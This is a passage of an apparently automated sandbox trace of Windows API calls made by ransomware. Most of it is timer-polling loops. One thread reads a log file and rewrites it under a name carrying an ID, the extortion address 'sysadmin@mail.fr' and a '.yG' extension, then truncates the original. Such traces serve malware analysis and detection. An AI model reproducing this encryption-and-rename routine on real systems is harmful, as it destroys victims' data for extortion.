	[0047.808] GetTickCount () returned 0x22030
	[0047.808] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0047.961] GetTickCount () returned 0x220bd
	[0047.961] GetTickCount () returned 0x220bd
	[0047.961] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0048.058] GetTickCount () returned 0x2212a
	[0048.058] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0048.411] GetTickCount () returned 0x22282
	[0048.411] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0048.715] GetTickCount () returned 0x223ba
	[0048.715] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0048.878] GetTickCount () returned 0x22457
	[0048.878] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0049.295] GetTickCount () returned 0x225fc
	[0049.295] GetTickCount () returned 0x225fc
	[0049.295] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0049.566] GetTickCount () returned 0x22706
	[0049.566] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0050.527] GetTickCount () returned 0x22acf
	[0050.527] GetTickCount () returned 0x22acf
	[0050.527] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0051.372] GetTickCount () returned 0x22e1b
	[0051.372] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0051.927] GetTickCount () returned 0x2303d
	[0051.927] GetTickCount () returned 0x2303d
	[0051.928] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0052.451] GetTickCount () returned 0x23251
	[0052.451] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0052.863] GetTickCount () returned 0x233e7
	[0052.863] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0054.194] GetTickCount () returned 0x23917
	[0054.194] GetTickCount () returned 0x23917
	[0054.194] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0055.274] GetTickCount () returned 0x23d4d
	[0055.274] GetTickCount () returned 0x23d4d
	[0055.274] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0055.873] GetTickCount () returned 0x23f9f
	[0055.873] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0056.269] GetTickCount () returned 0x24135
	[0056.269] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0056.588] GetTickCount () returned 0x2426e
	[0056.589] GetTickCount () returned 0x2426e
	[0056.589] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0057.761] GetTickCount () returned 0x24702
	[0057.761] GetTickCount () returned 0x24702
	[0057.761] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0057.946] GetTickCount () returned 0x247bd
	[0057.946] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0058.106] GetTickCount () returned 0x24859
	[0058.106] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0058.220] GetTickCount () returned 0x248c7
	[0058.220] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0058.365] GetTickCount () returned 0x24963
	[0058.365] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0058.500] GetTickCount () returned 0x249e0
	[0058.500] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0058.604] GetTickCount () returned 0x24a4d
	[0058.604] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0058.728] GetTickCount () returned 0x24aca
	[0058.728] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0058.837] GetTickCount () returned 0x24b38
	[0058.837] GetTickCount () returned 0x24b38
	[0058.837] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0059.042] GetTickCount () returned 0x24c03
	[0059.042] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0059.191] GetTickCount () returned 0x24c9f
	[0059.191] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0059.350] GetTickCount () returned 0x24d3b
	[0059.350] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0059.464] GetTickCount () returned 0x24da9
	[0059.464] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0059.598] GetTickCount () returned 0x24e35
	[0059.598] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0059.733] GetTickCount () returned 0x24eb2
	[0059.733] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0059.862] GetTickCount () returned 0x24f3f
	[0059.862] GetTickCount () returned 0x24f3f
	[0059.862] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0059.971] GetTickCount () returned 0x24fac
	[0059.971] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0060.080] GetTickCount () returned 0x2501a
	[0060.080] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0060.190] GetTickCount () returned 0x25087
	[0060.190] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0060.299] GetTickCount () returned 0x250f4
	[0060.299] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0060.441] GetTickCount () returned 0x25181
	[0060.441] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0060.554] GetTickCount () returned 0x251fe
	[0060.554] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0060.663] GetTickCount () returned 0x2526b
	[0060.663] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0060.782] GetTickCount () returned 0x252d9
	[0060.782] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0060.885] GetTickCount () returned 0x25346
	[0060.885] GetTickCount () returned 0x25346
	[0060.885] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0061.019] GetTickCount () returned 0x253c3
	[0061.019] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0061.116] GetTickCount () returned 0x25431
	[0061.116] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0061.226] GetTickCount () returned 0x2549e
	[0061.226] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0061.335] GetTickCount () returned 0x2550b
	[0061.335] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0061.445] GetTickCount () returned 0x25579
	[0061.445] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0061.554] GetTickCount () returned 0x255e6
	[0061.554] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0061.663] GetTickCount () returned 0x25653
	[0061.663] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0061.773] GetTickCount () returned 0x256c1
	[0061.773] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0061.882] GetTickCount () returned 0x2572e
	[0061.882] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) 

Thread:
	id = 8
	os_tid = 0x49c

	[0036.634] GetTickCount () returned 0x1f47d
	[0036.634] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x24) returned 0x666c68
	[0036.634] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x666c68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x290
	[0036.634] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x666c68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x294
	[0036.634] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x666c68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x298
	[0036.635] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x666c68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29c
	[0036.635] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6aa650
	[0036.635] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6aa650, Size=0x20) returned 0x68fa58
	[0036.635] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6aa428
	[0036.635] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6aa428, Size=0x20) returned 0x68f828
	[0036.636] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000
	[0036.636] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0036.636] Wow64DisableWow64FsRedirection (in: OldValue=0x29aff7c | out: OldValue=0x29aff7c*=0x0) returned 1
	[0036.636] lstrlenW (lpString="kernel32.dll") returned 12
	[0036.636] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68fa58 | out: hHeap=0x650000) returned 1
	[0036.636] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0036.636] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68f828 | out: hHeap=0x650000) returned 1
	[0036.636] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x6dd708, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a0
	[0036.636] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0037.630] GetTickCount () returned 0x1f865
	[0037.630] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0037.755] GetTickCount () returned 0x1f8e2
	[0037.755] GetTickCount () returned 0x1f8e2
	[0037.755] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0038.572] GetTickCount () returned 0x1fc0e
	[0038.572] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0038.743] GetTickCount () returned 0x1fcba
	[0038.743] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0039.742] GetTickCount () returned 0x200a2
	[0039.748] GetTickCount () returned 0x200a2
	[0039.748] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0039.890] GetTickCount () returned 0x2012f
	[0039.890] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0040.012] GetTickCount () returned 0x201bb
	[0040.012] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0040.134] GetTickCount () returned 0x20229
	[0040.134] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0040.299] GetTickCount () returned 0x202c5
	[0040.299] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0040.396] GetTickCount () returned 0x20332
	[0040.396] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0040.505] GetTickCount () returned 0x203a0
	[0040.505] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0040.692] GetTickCount () returned 0x2044b
	[0040.692] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0040.910] GetTickCount () returned 0x20536
	[0040.910] GetTickCount () returned 0x20536
	[0040.910] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0041.241] GetTickCount () returned 0x2067e
	[0041.241] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0041.548] GetTickCount () returned 0x207b6
	[0041.548] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0042.214] GetTickCount () returned 0x20a56
	[0042.214] GetTickCount () returned 0x20a56
	[0042.214] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0042.887] GetTickCount () returned 0x20cf6
	[0042.887] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0043.481] GetTickCount () returned 0x20f48
	[0043.481] GetTickCount () returned 0x20f48
	[0043.481] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0043.805] GetTickCount () returned 0x21080
	[0043.805] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0044.266] GetTickCount () returned 0x21255
	[0044.266] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0044.606] GetTickCount () returned 0x213ad
	[0044.606] GetTickCount () returned 0x213ad
	[0044.606] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0044.975] GetTickCount () returned 0x21514
	[0044.975] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0045.121] GetTickCount () returned 0x215b1
	[0045.121] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0045.247] GetTickCount () returned 0x2162e
	[0045.247] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0045.462] GetTickCount () returned 0x216f9
	[0045.462] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0045.574] GetTickCount () returned 0x21776
	[0045.574] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0045.916] GetTickCount () returned 0x218be
	[0045.916] GetTickCount () returned 0x218be
	[0045.916] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0046.151] GetTickCount () returned 0x219a8
	[0046.151] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0046.475] GetTickCount () returned 0x21af0
	[0046.475] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0046.832] GetTickCount () returned 0x21c58
	[0046.832] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0046.944] GetTickCount () returned 0x21cc5
	[0046.944] GetTickCount () returned 0x21cc5
	[0046.944] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0047.148] GetTickCount () returned 0x21d90
	[0047.148] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0047.331] GetTickCount () returned 0x21e4c
	[0047.331] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0047.600] GetTickCount () returned 0x21f55
	[0047.600] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0047.699] GetTickCount () returned 0x21fc3
	[0047.699] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0047.808] GetTickCount () returned 0x22030
	[0047.808] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0047.961] GetTickCount () returned 0x220bd
	[0047.961] GetTickCount () returned 0x220bd
	[0047.961] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0048.058] GetTickCount () returned 0x2212a
	[0048.058] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0048.411] GetTickCount () returned 0x22282
	[0048.411] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0048.714] GetTickCount () returned 0x223ba
	[0048.714] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0048.878] GetTickCount () returned 0x22457
	[0048.878] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0049.296] GetTickCount () returned 0x225fc
	[0049.296] GetTickCount () returned 0x225fc
	[0049.296] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0049.566] GetTickCount () returned 0x22706
	[0049.566] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0050.526] GetTickCount () returned 0x22acf
	[0050.526] GetTickCount () returned 0x22acf
	[0050.527] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0051.372] GetTickCount () returned 0x22e1b
	[0051.372] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0051.928] GetTickCount () returned 0x2303d
	[0051.928] GetTickCount () returned 0x2303d
	[0051.928] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0052.451] GetTickCount () returned 0x23251
	[0052.451] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0052.863] GetTickCount () returned 0x233e7
	[0052.863] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0054.194] GetTickCount () returned 0x23917
	[0054.194] GetTickCount () returned 0x23917
	[0054.194] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0055.274] GetTickCount () returned 0x23d4d
	[0055.274] GetTickCount () returned 0x23d4d
	[0055.274] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0055.873] GetTickCount () returned 0x23f9f
	[0055.873] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0056.269] GetTickCount () returned 0x24135
	[0056.269] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0056.578] GetTickCount () returned 0x2425e
	[0056.578] GetTickCount () returned 0x2426e
	[0056.588] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0057.761] GetTickCount () returned 0x24702
	[0057.761] GetTickCount () returned 0x24702
	[0057.761] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0057.946] GetTickCount () returned 0x247bd
	[0057.946] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0058.106] GetTickCount () returned 0x24859
	[0058.106] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0058.220] GetTickCount () returned 0x248c7
	[0058.220] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0058.366] GetTickCount () returned 0x24963
	[0058.366] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0058.500] GetTickCount () returned 0x249e0
	[0058.500] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0058.603] GetTickCount () returned 0x24a4d
	[0058.603] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0058.728] GetTickCount () returned 0x24aca
	[0058.728] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0058.836] GetTickCount () returned 0x24b38
	[0058.836] GetTickCount () returned 0x24b38
	[0058.837] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0059.042] GetTickCount () returned 0x24c03
	[0059.042] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0059.191] GetTickCount () returned 0x24c9f
	[0059.191] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0059.349] GetTickCount () returned 0x24d3b
	[0059.349] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0059.464] GetTickCount () returned 0x24da9
	[0059.464] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0059.599] GetTickCount () returned 0x24e35
	[0059.599] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0059.733] GetTickCount () returned 0x24eb2
	[0059.733] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0059.861] GetTickCount () returned 0x24f3f
	[0059.861] GetTickCount () returned 0x24f3f
	[0059.861] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0059.971] GetTickCount () returned 0x24fac
	[0059.971] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0060.080] GetTickCount () returned 0x2501a
	[0060.080] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0060.190] GetTickCount () returned 0x25087
	[0060.190] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0060.299] GetTickCount () returned 0x250f4
	[0060.299] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0060.441] GetTickCount () returned 0x25181
	[0060.441] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0060.554] GetTickCount () returned 0x251fe
	[0060.554] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0060.663] GetTickCount () returned 0x2526b
	[0060.663] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0060.782] GetTickCount () returned 0x252d9
	[0060.782] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0060.882] GetTickCount () returned 0x25346
	[0060.882] GetTickCount () returned 0x25346
	[0060.882] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0061.019] GetTickCount () returned 0x253c3
	[0061.019] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0061.116] GetTickCount () returned 0x25431
	[0061.116] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0061.226] GetTickCount () returned 0x2549e
	[0061.226] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0061.335] GetTickCount () returned 0x2550b
	[0061.335] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0061.445] GetTickCount () returned 0x25579
	[0061.445] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0061.554] GetTickCount () returned 0x255e6
	[0061.554] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0061.663] GetTickCount () returned 0x25653
	[0061.664] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0061.773] GetTickCount () returned 0x256c1
	[0061.773] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) returned 0x102
	[0061.882] GetTickCount () returned 0x2572e
	[0061.882] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x64) 

Thread:
	id = 9
	os_tid = 0x47c

	[0039.991] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10000) returned 0x3bd4e50
	[0039.991] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10000) returned 0x3be4e58
	[0039.992] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6aa008
	[0039.992] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x6) returned 0x6ee7e0
	[0039.992] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6aa020
	[0039.992] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x100000) returned 0x4170020
	[0039.994] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6aa038
	[0039.994] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6aa038, Size=0x20) returned 0x68fa80
	[0039.994] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6a9f60
	[0039.994] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6a9f60, Size=0x20) returned 0x68f8f0
	[0039.994] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000
	[0039.994] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0039.994] Wow64DisableWow64FsRedirection (in: OldValue=0x262ff50 | out: OldValue=0x262ff50*=0x0) returned 1
	[0039.994] lstrlenW (lpString="kernel32.dll") returned 12
	[0039.994] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68fa80 | out: hHeap=0x650000) returned 1
	[0039.994] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0039.994] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68f8f0 | out: hHeap=0x650000) returned 1
	[0039.995] Sleep (dwMilliseconds=0x64) 
	[0040.122] Sleep (dwMilliseconds=0x64) 
	[0040.299] lstrcmpiW (lpString1=".log", lpString2=".yG") returned -1
	[0040.299] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37
	[0040.299] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0040.841] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=42674) returned 1
	[0040.841] CloseHandle (hObject=0x2d0) returned 1
	[0040.841] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 0x20
	[0040.841] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0040.972] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0040.972] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0040.972] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0040.973] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0040.973] GetLastError () returned 0x0
	[0040.973] ReadFile (in: hFile=0x2b8, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0xa6b2, lpOverlapped=0x0) returned 1
	[0041.051] WriteFile (in: hFile=0x2cc, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xa6c0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xa6c0, lpOverlapped=0x0) returned 1
	[0041.054] ReadFile (in: hFile=0x2b8, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0041.054] WriteFile (in: hFile=0x2cc, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0041.054] SetEndOfFile (hFile=0x2cc) returned 1
	[0041.054] CloseHandle (hObject=0x2cc) returned 1
	[0041.056] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.056] SetEndOfFile (hFile=0x2b8) returned 1
	[0041.058] CloseHandle (hObject=0x2b8) returned 1
